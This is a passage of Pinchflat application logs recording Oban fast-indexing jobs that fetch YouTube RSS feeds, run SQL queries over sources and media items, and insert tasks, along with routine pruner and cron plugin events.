livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:20:35.395 [debug] QUERY OK source="tasks" db=0.0ms idle=262.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [455, 1, ~U[2026-07-23 23:20:35Z], ~U[2026-07-23 23:20:35Z]] 23:20:35.395 [info] {"args":{"id":1},"id":452,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":263782,"event":"job:stop","queue_time":229946,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:20:36.132 [info] {"args":{"id":2},"id":453,"meta":{},"system_time":1784848836132358988,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:20:36.132 [debug] QUERY OK source="sources" db=0.0ms idle=737.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:20:36.132 [debug] QUERY OK source="settings" db=0.0ms idle=737.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:36.132 [debug] QUERY OK source="media_profiles" db=0.0ms idle=731.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:20:36.132 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:36.133 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:20:36.374 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:20:36.374 [debug] QUERY OK source="media_items" db=0.1ms idle=242.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:20:36.375 [debug] QUERY OK source="media_items" db=0.2ms idle=242.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:20:36.375 [debug] QUERY OK source="tasks" db=0.0ms idle=242.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [456, 2, ~U[2026-07-23 23:20:36Z], ~U[2026-07-23 23:20:36Z]] 23:20:36.376 [info] {"args":{"id":2},"id":453,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":243548,"event":"job:stop","queue_time":508090,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:20:54.874 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.690 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:24.876 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:54.877 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.691 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:24.878 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:54.879 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.692 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:24.880 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:54.881 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.693 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:24.882 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:47.404 [info] {"args":{"id":3},"id":454,"meta":{},"system_time":1784849087404641005,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:24:47.405 [debug] QUERY OK source="sources" db=0.0ms idle=1421.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:24:47.405 [debug] QUERY OK source="settings" db=0.0ms idle=1422.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:24:47.405 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:24:47.405 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:24:47.405 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:24:47.530 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:24:47.530 [debug] QUERY OK source="media_items" db=0.2ms idle=125.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:24:47.532 [debug] QUERY OK source="media_items" db=1.6ms idle=125.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:24:47.533 [debug] QUERY OK source="tasks" db=0.0ms idle=127.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [457, 3, ~U[2026-07-23 23:24:47Z], ~U[2026-07-23 23:24:47Z]] 23:24:47.533 [info] {"args":{"id":3},"id":454,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128645,"event":"job:stop","queue_time":298542,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:24:54.883 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.693 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:24.884 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:54.885 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.695 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:24.886 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:54.887 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.696 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:24.888 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:54.890 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.697 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:24.891 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:54.892 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.698 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:24.893 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:54.894 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.699 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:24.896 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:35.794 [info] {"args":{"id":1},"id":455,"meta":{},"system_time":1784849435794183731,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:30:35.794 [debug] QUERY OK source="sources" db=0.0ms idle=1811.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:30:35.794 [debug] QUERY OK source="settings" db=0.0ms idle=1811.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:35.794 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:30:35.794 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:35.794 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:30:36.099 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:30:36.100 [debug] QUERY OK source="media_items" db=0.3ms idle=305.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:30:36.102 [debug] QUERY OK source="media_items" db=2.3ms idle=305.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:30:36.103 [debug] QUERY OK source="tasks" db=0.0ms idle=308.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [458, 1, ~U[2026-07-23 23:30:36Z], ~U[2026-07-23 23:30:36Z]] 23:30:36.103 [info] {"args":{"id":1},"id":455,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":309283,"event":"job:stop","queue_time":399326,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:30:36.795 [info] {"args":{"id":2},"id":456,"meta":{},"system_time":1784849436795155233,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:30:36.795 [debug] QUERY OK source="sources" db=0.0ms idle=691.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:30:36.795 [debug] QUERY OK source="settings" db=0.0ms idle=691.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:36.795 [debug] QUERY OK source="media_profiles" db=0.0ms idle=685.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:30:36.795 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:36.795 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:30:36.966 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:30:36.967 [debug] QUERY OK source="media_items" db=0.2ms idle=171.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:30:36.967 [debug] QUERY OK source="media_items" db=0.3ms idle=172.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:30:36.968 [debug] QUERY OK source="tasks" db=0.0ms idle=172.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES 